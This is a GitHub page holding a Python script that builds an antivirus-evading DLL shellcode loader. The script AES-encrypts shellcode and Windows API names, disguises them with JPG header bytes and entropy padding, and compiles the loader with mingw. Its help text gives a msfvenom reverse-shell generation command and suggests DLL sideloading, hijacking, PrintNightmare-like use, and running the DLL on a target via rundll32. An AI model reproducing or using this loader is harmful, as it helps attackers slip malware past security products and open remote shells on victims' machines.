-
Notifications
You must be signed in to change notification settings - Fork 33
Expand file tree
/
Copy pathShellcodeEncrypt2Dll.py
More file actions
144 lines (110 loc) · 4.99 KB
/
Copy pathShellcodeEncrypt2Dll.py
File metadata and controls
144 lines (110 loc) · 4.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import sys
import os
from Crypto.Cipher import AES
from os import urandom
import hashlib
import argparse
import subprocess
# PUT YOUR KEY HERE!!!
KEY = "blog.restkhz.com"
KEY = KEY.encode()
strVirtualAlloc = "VirtualAlloc\0"
strRtlMoveMemory = "RtlMoveMemory\0"
strCreateThread = "CreateThread\0"
strVirtualProtect = "VirtualProtect\0"
JPG_HEAD = b''.fromhex('ffd8ff')
JPG_TAIL = b''.fromhex('ffd9') # 00 not in the jpg magic number but just in case
funcList = [strVirtualAlloc, strRtlMoveMemory, strCreateThread, strVirtualProtect]
def pad(s):
block_size = AES.block_size
padding = block_size - len(s) % block_size
return s + bytes([padding] * padding)
def aesenc(plaintext, key):
k = hashlib.sha256(key).digest()
IV = urandom(16)
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, IV)
return IV + cipher.encrypt(plaintext)
def makeHeaderFile(payload):
encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n'
# payload
encPayload = aesenc(payload, KEY)
encPayloadDef = f'#define PAYLOAD {',0x00,'.join('0x{:02x}'.format(b) for b in JPG_HEAD + encPayload + JPG_TAIL)}\n'
encPayloadEntropyDef = f'#define LOWER_PAYLOAD_ENTROPY {','.join(['0xff']* len(encPayload))}\n'
print(encKey, end='')
print(encPayload, end='')
# funcName
print("\n\nEncrypting functions:")
encFuncDefList = []
# lower func entropy
encFuncEntropyLen = 0
for f in funcList:
encFunc = aesenc(f.encode(), KEY)
encFuncDef = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + encFunc + JPG_TAIL))}\n'
print(encFuncDef, end='')
encFuncDefList.append(encFuncDef)
encFuncEntropyLen += len(encFunc)
# payload and funcname offset
offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n'
offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n'
# insert 0 to lower the entropy by the length of encrypted func name
encFuncEntropyDef = f'#define LOWER_FUNCNAME_ENTROPY {','.join(['0xff']*encFuncEntropyLen)}\n'
f = open("shellcode.h","w")
f.write(encKey+encPayloadDef + offsetHead + offsetTail +''.join(encFuncDefList) + encFuncEntropyDef + encPayloadEntropyDef )
f.close()
print()
# x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s
def main():
parser = argparse.ArgumentParser(
description="""To generate static AV evaded DLL shellcode loader with AES encrypt.
Example:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw
python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw
or
python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
""",
formatter_class=argparse.RawDescriptionHelpFormatter
)
mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument(
'--standalone',
action='store_true',
help='To make an encrypted DLL WITH KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.'
)
mode_group.add_argument(
'--non-standalone',
action='store_true',
help='To make an encrypted DLL WITHOUT KEY stored in the DLL. You can use it for sideload/rundll32 but you need to pass the key.'
)
parser.add_argument(
'path',
type=str,
help='Path to shellcode file.'
)
args = parser.parse_args()
f= open(args.path, 'rb')
payload = f.read()
makeHeaderFile(payload)
if args.standalone:
print("STANDALONE mode")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-static-libgcc', '-static-libstdc++', '-static', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll']
print("You can use it for sideload/hijack or in a printnightmare-like scenario.")
print("Or just simply: rundll32 <path_to_dll>,EPoint")
elif args.non_standalone:
print("NON-STANDALONE mode:")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden','-static-libgcc', '-static-libstdc++', '-static', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll']
print(f"Try to run on target: rundll32 <path_to_dll>,EPoint {KEY.decode()}")
try:
print("[+] Compiling")
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.returncode != 0:
print("[-] Compile Failure:")
print(result.stderr)
else:
print("[+] Done: loader.dll")
print(result.stdout)
except FileNotFoundError:
print("[-] x86_64-w64-mingw32-g++ didn't work out properly or wasn't found.\nTry: \"sudo apt install mingw-w64\"")
sys.exit(1)
if __name__ == '__main__':
main()